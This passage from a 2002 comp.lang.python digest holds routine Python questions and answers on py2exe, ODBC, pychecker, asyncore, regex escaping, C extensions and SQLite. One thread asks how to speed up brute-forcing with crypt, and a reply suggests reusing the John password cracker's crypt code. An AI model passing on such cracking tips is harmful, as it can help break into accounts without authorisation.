these operators, but the principle is correct - the result would not be a two-ended range check. Unfortunately for my argument, Python does 'the right thing' already. -- Steve Horne steve at lurking.demon.co.uk From nospam at nospam.nospam Mon May 20 07:31:58 2002 From: nospam at nospam.nospam (Max) Date: Mon, 20 May 2002 11:31:58 GMT Subject: problem with gadfly and py2exe References: <9eJF8.69521$zW3.1064537@news1.tin.it> Message-ID: "Andy Todd" ha scritto nel messaggio news:Xns9214724F891FAandy47halfcookedcom at 203.109.252.31... > "Max" wrote in news:9eJF8.69521$zW3.1064537 > @news1.tin.it: > [...] > > I had a similar problem using my module in the beginning, because py2exe > > could'nt find the shelve module by itself. I solved the problem for my [...] > > Has anybody experienced the same problem or has any idea of which > modules > > gadfly relies upon (and i might try to force import of in py2exe) ? [...] > Err, I'm not an expert but I think the problem is in the chain of module > imports that you trigger with "import gadfly". This will actually import a > module which in turn relies on other modules which in turn rely on other > modules, etc. As far as I'm aware py2exe isn't psychic and only knows what > to package based on any "import" statements in your code. > Exactly what i supposed... infact i had a similar problem with a written by myself doin' part of the functions of gadfly, but in that module i traced my imports. Doing the same in gadfly implies the study of the gadfly project (i just started using it), so i asked if anybody already has a solution, or the list of modules gadfly relies upon... to trace the import chain... > To the best of my knowledge gadfly doesn't rely on any external objects > (apart from Python of course) but you will probably need a way to tell > py2exe that it should package the whole package and not just the file that > you explicitly import (which is actually called database.py I think, but > lets not go there). > What i did to solve "previous release of my problem"... :) > Sorry I can't be more specific but hopefully this gives you something to go > on with. > Thanks anyway, Max From cer at tutopia.com Fri May 10 14:28:26 2002 From: cer at tutopia.com (Cristian Echeverria) Date: 10 May 2002 11:28:26 -0700 Subject: ODBC v. mxODBC References: Message-ID: <33476bef.0205101028.158a5147@posting.google.com> Is not so hard to use odbc with mxDateTime if you use the COMDate method from the mxDateTime objects. This way you can store your dates as long interger or something like that. DateTime objects are the less portable thing between different databases. So this way to switch from one database to other is less difficult. Anyway mxDateTime is a "must have" if you want to use databases with python. Cristian Echeverria "Fran?is Lepoutrre" wrote in message news:... > I understand that the ODBC module > does not handle dates and datetimes > as proper dated types. > > mxODBC runs nicely with mxDateTime. > This module has a lot to offer if you > need to work upon the dates. > > If your application is a typical > multimedia web-based thing, > you can possibly do without it. > > If your app is the typical IS stuff > (products, bills, clients, > providers, employees,...) > managing dates can be tricky. > > mx stuff is really worth the license cost... > we would not use python if it did not exist! > > in case of doubts, try both... > > don wrote in message ... > >Anyone prefer one module to the other? Why? -Don > > > > From rnd at onego.ru Mon May 13 09:29:46 2002 From: rnd at onego.ru (Roman Suzi) Date: Mon, 13 May 2002 17:29:46 +0400 (MSD) Subject: pychecker question Message-ID: Hi! I am pychecking my code and am getting lots of: stable.py:210: Variable (path) used before being set stable.py:210: Variable (split) used before being set stable.py:224: Variable (strip) used before being set stable.py:226: Variable (index) used before being set stable.py:261: Variable (join) used before being set stable.py:261: Variable (replace) used before being set These are caused by from-import statements inside functions, schematically: def f(x): from m import y return y(x) Is it really considered bad to use from-import inside function definition? (I did it because I wanted to state clearly which functions I am using from there. And I do not want to use it at the module level, like that: from m import y def f(x): return y(x) as I think it will increase the number of imports. * Another question. Is there any front-end to pychecker to show code in proper context and an ability to silence certain warnings just like I do in ispell if I consider some word correct? Sincerely yours, Roman A.Suzi -- - Petrozavodsk - Karelia - Russia - mailto:rnd at onego.ru - From mlh at vier.idi.ntnu.no Fri May 31 07:31:36 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Fri, 31 May 2002 11:31:36 +0000 (UTC) Subject: Killing a socket server in DOS? References: Message-ID: In article , Steve Holden wrote: >"Magnus Lie Hetland" wrote ... [snip] > >Here's a snippet using asyncore that seems to do what you want. Are you >saying that you can't trap KeyboiardInterrupt? You'll have your own >http_server() equivalent already, I'm guessing. > [snip] > try: > asyncore.loop(1.0) # Frequent checks for interrupt > except KeyboardInterrupt: > print "Completed" # on console > logfile.close() I guess the use of a timeout was the problem... I simply used asyncore.loop(). It worked in UNIX, but not in DOS (or Cygwin). So... The low timout means that the Python loop surrounding select() will be executed more often, thereby making it possible to interrupt it more often? Now, it seems I have the same problem with another server too, but that one is written using SocketServer (SimpleXMLRPCServer, actually). Not sure how to achieve the same there. It seems I'm not able to interrupt its serve_forever() in DOS/Cygwin there either -- although I can easily interrupt it in UNIX (as with asyncore). Any similar tricks I can use there, to force it to listen for interrupts? -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From pyth at devel.trillke.net Wed May 1 13:21:55 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 1 May 2002 19:21:55 +0200 Subject: Importing dynamically loaded modules (in packages)? In-Reply-To: References: Message-ID: <20020501172155.GQ16217@devel.trillke> [Steve Holden] > [Holger Krekel] > > There is no 'package' object to start with and package > > functionalities are not encapsulated anywhere. > > So it seems approriate to think of a package as a > > concept of nested modules and accessing them with > > respect to directory structure and filesystem-coupled > > initialization. > > > A package is a directory containing an __init__.py file. And that's where it starts to fall out of pythons object world. There is no 'directory'-object. > When the package is > imported (which mjust happen before any submodules or subpackages can be > imported) the __init__.py file is executed. The next filesystem-dependence not related to python's object structure. > > imho Python3 should have a better grip > > on packages. > > > imho Motherhood and apple-pie are good ;-) > Anything that makes Python applications easier to package and distribute > will be a good thing. "Python 3 should have a better grip on packages" comes > nowhere near making Python applications easier to package and distribute ;-) > > Is their already something underway? regard my sentences as a careful check to make sure i am not missing something. Sometimes there are these nice 'has been discussed and rejected before' or 'GvR said no' or similar landmines. > a-better-question-is-who's-going-to-do-something-about-it-ly y'rs - steve I'd like to come up with a small proposal. Not right now, though :-) If nobody thinks that this should be left to the gurus, anyway. another-question-is-if-there-is-a-real-need-besides-my-own-ly yours holger From kragen at pobox.com Wed May 15 18:28:21 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 15 May 2002 18:28:21 -0400 Subject: fcrypt alternative? References: <3ce0f09a$0$225$4d4ebb8e@read.news.nl.uu.net> Message-ID: <83vg9p2ghm.fsf@panacea.canonical.org> "Guyon Moree" writes: > i am using fcrypt as a windows alternative for crypt. the only problem is > that it is _so much slower_ than crypt. this is an issue as i am doing some > sort of brute force stuff. > > i'm wondering if anybody knows an alternative for fcrypt for windows. I think john (the password cracker) runs on Windows, and its crypt is much faster than the standard Unix crypt. Probably wouldn't be hard to extract and wrap john's crypt code. From rob Wed May 22 14:06:41 2002 From: rob (Rob Andrews) Date: Wed, 22 May 2002 18:06:41 GMT Subject: Is python really slow? References: Message-ID: When it comes to Python and speed, I (like everyone else, for the most part) refer to my own experience. I don't apply any special magic to my Python programs, and none of them have ever left me waiting around for results. Until a few weeks ago, the fastest computer I had at my disposal (other than a few work-related exceptions) was a P-II 266, and every single Python program I ran on it spat out its results in a flash. (This includes a host of programs people have submitted to Useless Python that I have run just to see what they do.) Python's speed is just fine. Rob Andrews http://uselesspython.com From peter at engcorp.com Sat May 11 18:08:16 2002 From: peter at engcorp.com (Peter Hansen) Date: Sat, 11 May 2002 18:08:16 -0400 Subject: Numbers of active threads References: Message-ID: <3CDD9650.E0FD5583@engcorp.com> A wrote: > > Hi, > I use threading module and I need to control numbers of active > threads. Can you please give me an example how to do that. "Control" could mean many things, so I'll just point you to threading.activeCount() which returns the number of threads active (that were started with that module). You should be able to use this information to control the number of threads in an appropriate way for your application. -Peter From kragen at pobox.com Tue May 14 02:10:15 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 02:10:15 -0400 Subject: NEVER MIND! References: <3CDA065F.E172C450@engcorp.com> Message-ID: <83r8kfi7js.fsf@panacea.canonical.org> Peter Hansen writes: > "Delaney, Timothy" wrote: > > My apologies - since my mail client (Outlook - mandated by the company) does > > ... > > * Tim hangs his head in shame > > It's no shame to be let down by Microsoft software. It depends on whether or not you have another choice. Does the company mandate that you read and reply to python-list or comp.lang.python at work? If not... From donald.braman at yale.edu Thu May 9 16:11:48 2002 From: donald.braman at yale.edu (don) Date: Thu, 9 May 2002 13:11:48 -0700 Subject: odbc advice? Message-ID: I'm trying to update table in a SQL Server 2000 database. The following (and other similar) code hangs Python about half of the time when I run it and then, once hung, will hang every time until I reboot. Does anyone have any tips on handling odbc connections in Python? I've been hunting around for a while, but haven't found descriptions of hangs like this. My reference of choice (Python Web Programming) tells me the ODBC driver isn't ready for prime-time. I'm not sure I have any other options, though. Any help appreciated. -Don ++++++++++++++++++++++++ import dbi, odbc conn = odbc.odbc('mydb') cur = conn.cursor() cur.execute("""UPDATE Cases SET Cases.Opinion = NULL WHERE updateopinion=1""") From steve at ferg.org Wed May 15 10:07:24 2002 From: steve at ferg.org (Stephen Ferg) Date: 15 May 2002 07:07:24 -0700 Subject: Keyboard-aware Tkinter listbox? Message-ID: I've been using the Tkinter LISTBOX, but it seems to have some limitations. Other LISTBOX implementations that I'm familiar with automatically sort the list of entries and support keyboard selection. By keyboard selection, I mean that if you had a list like this: Andy Bill Bob Robert and pressed "b" on the keyboard, the cursor (highlight) would jump to "Bill", and if you pressed "b" again, the cursor would jump to the next line beginning with "b" (or "B") -- in this case, to "Bob". If you press "b" again, nothing happens because there are no further entries that begin with "b". I would like to have a Tkinter listbox that is keyboard aware in this way. Sorting the list before I send it to the listbox is easy. But making the list keyboard-aware would be a chunk of work. I've looked at PMW (Python Megawidgets) and it doesn't seem to support this kind of functionality, either. So... I thought that before I try to build this myself, I'd like to ask if anyone knows if this has already been done? -- Steve Ferg (steve at ferg.org) From hst at empolis.co.uk Tue May 14 11:19:55 2002 From: hst at empolis.co.uk (Harvey Thomas) Date: Tue, 14 May 2002 16:19:55 +0100 Subject: RegEx Message-ID: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BAD@hendrix.empolisuk.com> > I have a quick regular expression question. > > I'm trying to substute all parathesis -- both left and right > -- with a > space. I've tried: > > no_parans = re.compile('(|)', count = 99) you need to escape the () characters no_parans = re.compile('\(|\)', count = 99) > > scan_line = no_parans.sub(' ', scan_line) > > > This doesn't work. It had the effect of inserting a space > before every > character, including the paranthesis. > > What is the solution? > > -- > ----------------------- > James A Roush > jar @ mminternet.com > ----------------------- _____________________________________________________________________ This message has been checked for all known viruses by the MessageLabs Virus Scanning Service. From nhellmers at yahoo.com Mon May 13 13:07:11 2002 From: nhellmers at yahoo.com (Nathan Hellmers) Date: 13 May 2002 10:07:11 -0700 Subject: File write/read question Message-ID: <78bc9697.0205130907.4288e607@posting.google.com> Hi, I'm just getting started with Python, and am stumped on a basic problem. I have one program that runs a lot of calculations and produces an integer. I want to write that integer to a file, and then read it with another program to run some more calculations. I know that an integer written to a file is actually a string, but how do I convert the string to an integer once I have read it with program #2? Simplified example of what I am trying to do: --------------- #1 test = open("test.txt", "w") a = 1 print >> test, a test.flush() ---------------- That successfully writes the number 1 to a file called test.txt. ---------------- #2 test2 = open("test.txt", "r") a = test2.readline() int(a) print a + a ---------------- That successfully reads the number 1 from the file and assigns the variable "a" to it, but the printout is 1 1 (on two lines) rather than 2. Using type I can see that "a" was not converted to an integer. I can also see that "a" actually equals "a\n". If I slice off the \n with "a = a[0:1]", I still can't convert it to an integer. Any help would be greatly appreciated. Thanks, Nathan From kseehof at neuralintegrator.com Fri May 3 09:27:10 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Fri, 03 May 2002 06:27:10 -0700 Subject: Unpacking a python list in C? In-Reply-To: Message-ID: Michael Hudson wrote: > Ken Seehof writes: > > > Here's some real code that's pretty close to what you want. You can > > use PyList_* instead of PySequence_* if speed is more important than > > flexibility (PySequence works with any sequence object). > > This example is a little different than what you requested (it's a > > working python extension function). But it does show how to iterate > > a python list. > > > > ///////////////////////// > > // syntax: obj = manifold([seq]) > > // returns: new manifold object > > // > > // Creates a manifold object, and initializes with sequence > > Are you not doing any error checking for clarity? Nah, just plain laziness :-) I think the only error checking I missed is the sequence type check. > > static PyObject *module_manifold(PyObject *self, PyObject *args) > > { > > PyObject *seq = NULL; > > if (!PyArg_ParseTuple(args, "|O", &seq)) return NULL; > > It would be wise to check that "seq" is indeed a sequence at some > point... That's a good idea. Thanks. > Also, if you call this function with no argument it will return NULL > but with no exception set... don't do that. Not true. Actually, calling with no argument is valid for "|O", and in this case leaves seq=NULL (which skips the sequence initialization as intended). Calling with incorrect arguments (in this case, two or more args) results in PyArg_ParseTuple returning NULL, with the appropriate TypeError set automagically. When my function returns NULL, I get the correct exception. >>> manifold([2,3,4]) <2, 3, 4> >>> manifold() <> >>> manifold([2,3,4], 3.4) Traceback (most recent call last): File "", line 1, in ? TypeError: function takes at most 1 argument (2 given) > > manifold__object *k = manifold__new(); > > > > if (seq) > > { > > for (int i=0; i > Also PySequence_Length isn't reliable; consider > > class Devious: > def __len__(self): > return 9 > def __getitem__(self, i): > raise IndexError > > > { > > PyObject *obj = PySequence_GetItem(seq, i); > > manifold__insert_obj(k, k->root, obj); > > ... so obj could be NULL here; manifold__insert_obj will likely try to > INCREF it... boom! Yup, boom it is. I'd better fix that. Thanks. > > } > > } > > > > return (PyObject *)k; > > } > > The best way to nullify the threat of such devious code is to use the > "PySequence_Fast" API, like so: > > static PyObject *module_manifold(PyObject *self, PyObject *args) > { > PyObject *seq; > int len; > if (!PyArg_ParseTuple(args, "O", &seq)) return NULL; > > manifold__object *k = manifold__new(); > > seq = PySequence_Fast(seq, "manifold: sole argument must be > sequence"); > if (!seq) return NULL; > > len = PySequence_Fast_GET_SIZE(seq); > > for (int i=0; i < len; i++) { > PyObject *obj = PySequence_Fast_GET_ITEM(seq, i); > manifold__insert_obj(k, k->root, obj); > } > > return (PyObject *)k; > } > > as PySequence_Fast knows how to cope with the most devious of user > classes. I'm not sure when it appeared (I don't *think* it's in > 1.5.2, unfortunately, though there's always the option of wholesale > lifting of code from Python's codebase to your own). > > Docs here: > > http://www.python.org/dev/doc/devel/api/sequence.html > > Mild apologies for picking on Ken's code like this; more people should > know about this API, though. Thanks, most of your suggestions are very helpful and all your suggestions are appreciated. I look forward to putting this stuff on SourceForge to get more feedback, when I get some free time. In case you're wondering, "manifold" is a new kind of list. - safe deletion during iteration - O(constant) fast __contains__ (in) operator - global explicit object removal (fast) - python thread safe Basically it solves the problem of explicit removal of an object from all "lists" of which it is a member, especially in situations where object removal of any kind would normally be hazardous. I've been using it for a couple weeks, and it seems stable. The sequence initialization that I posted is one of a few recent additions for completeness. > Cheers, > M. > > -- > The Programmer's Quick Guide To Python (Time Machine version): > You try to shoot yourself in the foot, only to realize that > there's no need, since Guido thoughtfully shot you in the foot > years ago. -- Nick Mathewson, comp.lang.python > -- > http://mail.python.org/mailman/listinfo/python-list Thanks, - Ken Seehof From robin at jessikat.fsnet.co.uk Tue May 7 07:32:53 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Tue, 7 May 2002 12:32:53 +0100 Subject: making python scripts backwards compatible References: <13285ea2.0205042356.15ab8c30@posting.google.com> <13285ea2.0205061603.46d4cce@posting.google.com> Message-ID: <4fxfAUAlt718Ew34@jessikat.fsnet.co.uk> In article <13285ea2.0205061603.46d4cce at posting.google.com>, J.Jacob writes ..... >later: >Tried to put something on sourceforge but could not get cvs to work >from Windows, gave up after about 1 hour. Anybody knows a good cvs >program for windows that is compatible with sourceforge !?!? (so you >can do just what they say on the 'cvs-help' page) the stuff we use at reportlab is http://www.reportlab.com/ftp/tools/sshbin.zip The key generator is a bit flaky so you need to use ssh-keygen -C"dingo.kookyburrow.com" otherwise it falls over. -- Robin Becker From lumber at jack.com Fri May 3 21:20:33 2002 From: lumber at jack.com (Lumberjack) Date: 4 May 2002 01:20:33 GMT Subject: Slight irritation with try/finally indentation References: Message-ID: pinard at iro.umontreal.ca (Fran?ois Pinard) wrote: > setup() > try: > process() > finally: > cleanup() > > What I find irritating is that `cleanup()' is not aligned anymore with > `setup()', as it was originally, so we loose on the legibility of the > parenthetical idiom we wanted to stress. "We"? Who else are you speaking for? > Are others on this list bothered with this issue? So far you seem to be crying alone. > And if yes, what do you choose to do? I suggest you and anyone else similarly afflicted with low irritant thresholds find another language, if any exists, where you are not so easily irritated. Or do something silly like: try_Setup() # One way. ____Setup() # Another way. try: Process() finally: Cleanup() Whatever you do, please don't propose a PEP as a "solution"! From gerhard at bigfoot.de Wed May 29 16:19:12 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Wed, 29 May 2002 22:19:12 +0200 Subject: inbetween cPickle and MySQL In-Reply-To: <283adf56.0205291036.703d4a43@posting.google.com> References: <283adf56.0205291036.703d4a43@posting.google.com> Message-ID: <20020529201912.GA5476@lilith.my-fqdn.de> * Kevin Dahlhausen [2002-05-29 11:36 -0700]: > m2 at plusseven.com wrote in message news:... > > I need a simple way to store lots of simple objects (compsed of > > strings only). Right now I'm using cPickle, which means I have to read > > in the intire file to find all object.attribute == X. > > There is a python inteface to Sqlite, which is a file-based SQL > database. You use the module, no server is needed and it does not > load the entire file into memory. Yes, such a module is available at http://pysqlite.sf.net/ > Currently it returns all results as strings. Not true for the CVS version of the _above_ PySQLite. You _can_ use custom converters, and int, float and string are supported by default. It requires some magic because SQLite is typeless, this should show the features for people familiar with the DB-API: >>> import sqlite >>> db = sqlite.connect("/tmp/db") >>> cursor = db.cursor() >>> cursor.execute("create table test(id int, name varchar(20))") >>> cursor.execute("insert into test(id, name) values (%s, %s)", (5, "foo")) >>> cursor.execute("pysqlite_pragma expected_types = int, str") >>> cursor.execute("select id, name from test") >>> res = cursor.fetchone() >>> print res.id, res.name, res[0], res[1], res["id"], res["name"] 5 foo 5 foo 5 foo >>> print type(res.id), type(res.name) > http://members.nccw.net/kdahlhaus/pysqlite/index.html Kevin, you're very welcome to contribute to our SQLite project at Sourceforge, if you like. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From jochen at jochen-kuepper.de Mon May 20 22:07:47 2002 From: jochen at jochen-kuepper.de (Jochen =?iso-8859-1?q?K=FCpper?=) Date: 20 May 2002 22:07:47 -0400 Subject: Embedding a Numeric array in C References: Message-ID: On 20 May 2002 14:11:54 -0700 Chris Fonnesbeck wrote: Chris> I am trying to find out how to properly embed a Numeric array type in Chris> C. The following code compiles, but segfaults when run: I have only done it in C extensions to python programs, but the following from the NumPy manual, "writing C extensions" should also apply to your problem: ,---- | In addition to including arrayobject.h , the extension must call | import_array() in its initialization function, after the call to | Py_InitModule() . This call makes sure that the module which | implements the array type has been imported, and initializes a pointer | array through which the NumPy functions are called. If you forget this | call, your extension module will crash on the first call to a NumPy | function. `---- Greetings, Jochen -- Einigkeit und Recht und Freiheit http://www.Jochen-Kuepper.de Libert?, ?galit?, Fraternit? GnuPG key: 44BCCD8E Sex, drugs and rock-n-roll From ken at hotmail.com Thu May 30 04:50:01 2002 From: ken at hotmail.com (Ken) Date: Thu, 30 May 2002 18:50:01 +1000 Subject: User input question Message-ID: Hi, I have a question on user input. Suppose the user need to put in a search word like this: print "" # I am not sure if this line is right print "
Search:" print """
""" print """""" print """""" print " How do I pass searchword to another function with header: def search_word(word) ? Thanks p.s. i am new to python..... I used to work with C++ From lists.ASkwar at DigitalProjects.com Thu May 2 04:36:29 2002 From: lists.ASkwar at DigitalProjects.com (Alexander Skwar) Date: Thu, 2 May 2002 10:36:29 +0200 Subject: Killing a running thread Message-ID: <20020502083629.GD13641@teich.Garten.DigitalProjects.com> Hi! I've got a application which uses some threading.Thread's to do the main work. The thread is spending most of its time in a map() loop. The application itself is a wxPython GUI application. Because the worker thread can take quite some time and consume a lot of memory, I'd like to have a button (or whatever) on the GUI which allows the user to kill the running thread. But how can I do this? Can I kill the thread by assigning None to the thread variable (t = threading.Thread(); t = None)? Thanks for any help, Alexander Skwar -- How to quote: http://learn.to/quote (german) http://quote.6x.to (english) Homepage: http://www.iso-top.de | Jabber: askwar at a-message.de iso-top.de - Die g?nstige Art an Linux Distributionen zu kommen Uptime: 8 days 3 hours 32 minutes From sholden at holdenweb.com Fri May 10 14:57:26 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 14:57:26 -0400 Subject: Error Log References: <117880a1.0205101048.2fd9e396@posting.google.com> Message-ID: "J?rgen Hansen" wrote in message news:117880a1.0205101048.2fd9e396 at posting.google.com... > "Billy Ng" wrote in message news:... > > I need to write a error log module that append the error line into a log > > file every time an exception is thrown. Would anybody please give me input > > for how to do it in pytohn, thanks! > > > > Billy Ng > > Vinay Sajip has made a logging module: > http://www.red-dove.com/python_logging.html which you could look into. > I have made a very basic version of it, which I could email with some > examples if you want to. > I just realised it might actually be the "get the exception details" that Billy is looking for, not the logging stuff. In which case a look at the recent (2.2, I believe) cgitb module might help. If not, a further alternative is http://www.holdenweb.com/Python/PDCode/logfile.py regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From cook at pyzine.com Thu May 9 12:38:35 2002 From: cook at pyzine.com (Bryan Richard) Date: Thu, 09 May 2002 16:38:35 GMT Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> Message-ID: <3cdaa454.260582177@news.newsguy.com> On Thu, 9 May 2002 11:04:30 GMT, Michael Hudson wrote: >Do you have enough material for ~200 pages a year? If you do, I'd >feel less guilty about not writing an article for you yet... colin, 200 pages? i get lightheaded just trying to think about it. Issue 02 is in the can. I have content or commitments for 03 and 04 is just a vague idea in the far-flung future. so. no. while i'm overjoyed that people have stepped up to provide articles, i can never have enough content. be well, bryan From loewis at informatik.hu-berlin.de Thu May 2 13:51:54 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 02 May 2002 19:51:54 +0200 Subject: internationalization problem... References: <3cd12f56$1@brateggebdc5.br-automation.co.at> <28e2du8f1jacggesbq6vdqqctn5424tq7l@4ax.com> <3cd15360$1@brateggebdc5.br-automation.co.at> Message-ID: Johann writes: > Thanx, it helped. I have still problem with other two coding > (window-1250 and mac-pl) but I am afraid I have to write my own > functions for translation. Instead of 'window-1250', use 'cp1250' (in Python 2.3, you can also use 'windows-1250'). Instead of 'mac-pl', use 'mac-latin2' (or 'maclatin2', or 'maccentraleurope'). Please see the lib/encodings directory of Python for a list of available encodings. HTH, Martin From marklists at mceahern.com Thu May 23 12:56:27 2002 From: marklists at mceahern.com (Mark McEahern) Date: Thu, 23 May 2002 11:56:27 -0500 Subject: python-friendly web hosts: buyer beware In-Reply-To: <1022168166.5135.4.camel@jwilhelm.ofsloans.com> Message-ID: Sorry, I didn't see the original post, so I'm just going to comment on the subject line: If you don't know about mxCGIPython, you should check it out: http://www.egenix.com/files/python/mxCGIPython.html It took a little work to get it up and running on my ISP. They were completely uninterested in installing Python, but that didn't stop me. Here's a thread on c.l.py in which M.A. Lemburg helped me get it running: http://groups.google.com/groups?q=mxcgipython+author:mceahern&hl=en&lr=&selm =mailman.1019680127.28712.python-list%40python.org&rnum=1 It saved me from choking on my own vomit--er, I mean using Perl--so I can't say enough good things about it. ;-) // mark From phr-n2002a at nightsong.com Sun May 12 13:37:27 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 12 May 2002 10:37:27 -0700 Subject: High performance Python web-app References: <3CDE9D7B.7050408@xs4all_removethisalso.nl> Message-ID: <7xd6w15ktk.fsf@ruckus.brouhaha.com> You could try fastCGI, I suppose. From peter at engcorp.com Tue May 14 21:26:12 2002 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 May 2002 21:26:12 -0400 Subject: How to setting system time References: <3ce1353a$0$230$626a54ce@news.free.fr> Message-ID: <3CE1B934.2055D8B8@engcorp.com> dag4004 wrote: > > Hello, > > Does some one know how to set the system time in Python ? Use os.system() and a call to the OS... From kalle at lysator.liu.se Wed May 29 11:56:48 2002 From: kalle at lysator.liu.se (Kalle Svensson) Date: Wed, 29 May 2002 17:56:48 +0200 Subject: List &reference to segment of another list. Can dis be done? In-Reply-To: <3d3fa469.0205290737.7b630305@posting.google.com> References: <3d3fa469.0205290737.7b630305@posting.google.com> Message-ID: <20020529155648.GA3704@i92.ryd.student.liu.se> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [Ivan] > I tried many logical ways to accomplish this (something like this): > I want to create some list, like: > > >>> li = [0, 1, 2, 4, 8,] ... > I'd like to have original list changed into [0, 1, 16, 32, 64]. You can use slice assignment. >>> li = [0, 1, 2, 4, 8] >>> li[2:] = [16, 32, 64] >>> li [0, 1, 16, 32, 64] Peace, Kalle - -- Kalle Svensson, http://www.juckapan.org/~kalle/ Student, root and saint in the Church of Emacs. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Processed by Mailcrypt 3.5.6 iD8DBQE89Po4dNeA1787sd0RAhGRAJ9KTK1Ok0QZFrFvQWlICnm+JgrIUQCgjlht 73KUyBSn4EqNWWUU5Ly+POA= =Ta/I -----END PGP SIGNATURE----- From peter at engcorp.com Fri May 24 21:52:02 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 May 2002 21:52:02 -0400 Subject: Academic citation for Python References: <3CEEE0D8.7030102@bellatlantic.net> Message-ID: <3CEEEE42.60D47318@engcorp.com> Ross Lazarus wrote: > > How should the Python language be cited in an academic publication? Doesn't "to cite" mean simply to acknowledge a source of information? I don't think you can "cite" a language. Maybe specific facts about the language, drawn from the "literature" (e.g. www.python.org), but not "the language" itself. Or are you trying to refer to the _source_ of the language, as in where it comes from? -Peter From daldridge at austin.rr.com Sun May 19 09:26:01 2002 From: daldridge at austin.rr.com (David Aldridge) Date: 19 May 2002 06:26:01 -0700 Subject: Problems importing _sre w/VC7-compiled Python 2.1 References: Message-ID: <597ee21d.0205190526.4feffd31@posting.google.com> After more investigation, turns out init_sre() was NOT __declspec(dllexport)! _sre.c #includes "Python.h" "Python.h" #includes "config.h" config.h, starting at line 120, has the following: #ifdef USE_DL_IMPORT #define DL_IMPORT(RTYPE) __declspec(dllimport) RTYPE #endif #ifdef USE_DL_EXPORT #define DL_IMPORT(RTYPE) __declspec(dllexport) RTYPE #define DL_EXPORT(RTYPE) __declspec(dllexport) RTYPE #endif If I change it to be: #ifdef USE_DL_IMPORT #define DL_IMPORT(RTYPE) __declspec(dllimport) RTYPE #define DL_EXPORT(RTYPE) __declspec(dllexport) RTYPE #endif #ifdef USE_DL_EXPORT #define DL_IMPORT(RTYPE) __declspec(dllexport) RTYPE #define DL_EXPORT(RTYPE) __declspec(dllexport) RTYPE #endif Everything works just peachy. (Added the dllexport line if USE_DL_IMPORT is defined). Turns out since python/pythoncore is in a .DLL, the sre module wanted to import its exports, and had USE_DL_IMPORT defined. However, since DL_EXPORT was not defined in the USE_DL_IMPORT block, later on in Python.h (after it's done preprocessing config.h), DL_EXPORT(RTYPE) is simply defined as RTYPE. Oops -- no export of init_sre(). Thanks for the prod in the right direction ;-) David sjmachin at lexicon.net (John Machin) wrote in message news:... > "RoadRunner eNews" wrote in message news:... > > I've successfully built Python 2.1 with VC7, but I'm having a problem using > > the resulting binaries, namely _sre.pyd (and _d.pyd). Specifically, when I > > attempt to 'import re', the result is a Traceback stating 'ImportError: > > dynamic module does not define init function (init_sre)'. Everything works > > fine under VC6, and ...\modules\_sre.c definitely contains init_sre(), so it > > has to be something VC7 related. > > > > I'm not an MS VCn guru for any value of n. However, based on some > trips through "DLL hell" with other compilers, here are some ideas > that may help: > > (1) Use the Dependency Walker or some other tool to examine the > _sre.pyd itself to see that the entry point init_sre is actually there > (and not _init_sre or something else), rather than relying on its > presence in the source. Then you will know whether the problem is in > the importer or the importee. > > (2) If you haven't done so already, you should use the -v option when > running Python, to display the names of the actual full paths for > files that it is opening. However I can't recall whether you will get > the path printed before the ImportError. > > HTH, > John From sjmachin at lexicon.net Tue May 14 09:56:03 2002 From: sjmachin at lexicon.net (John Machin) Date: 14 May 2002 06:56:03 -0700 Subject: How to solve diophantine problems? References: Message-ID: "Joshua, Y.J. Lai" wrote in message news:... > Dear everyone: > > I can roughly solve the diophantine problem by using a nest loop > ex. [snip] > But if I want to limit the maximum amount of balls (k) in this question > then I will add an additional line: > k=input("Please define the Max of balls: ") > However, I do not know how to write the checking loops in this case? > Because, the x and y are uncertain now. Could anyone please kindly help me. > Thank you. You probably want something like this. As Emile said, don't use input(). import sys def td(x): "The number of balls used to construct a tetrahedron" return x*(x+1)*(x+2)/6 def tri(y): "The number of balls used to construct a triangle" return y*(y+1)/2 def dio1(n): # n is max # balls on one edge of tetrahedron or triangle for x in xrange(n): a=td(x) for y in xrange(n): b=tri(y) if a==b!=0: print "x = %d and y = %d , number = %d" % (x,y,a) def dio2(k): # k is max number of balls in total for x in xrange(sys.maxint): a=td(x) if a >= k: break for y in xrange(sys.maxint): b=tri(y) if a + b > k: break if a==b!=0: print "x = %d and y = %d , number = %d" % (x,y,a) Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import diophant >>> diophant.dio1(100) x = 1 and y = 1 , number = 1 x = 3 and y = 4 , number = 10 x = 8 and y = 15 , number = 120 x = 20 and y = 55 , number = 1540 >>> diophant.dio2(500) x = 1 and y = 1 , number = 1 x = 3 and y = 4 , number = 10 x = 8 and y = 15 , number = 120 >>> diophant.dio2(5000) x = 1 and y = 1 , number = 1 x = 3 and y = 4 , number = 10 x = 8 and y = 15 , number = 120 x = 20 and y = 55 , number = 1540 >>> diophant.dio2(50000) x = 1 and y = 1 , number = 1 x = 3 and y = 4 , number = 10 x = 8 and y = 15 , 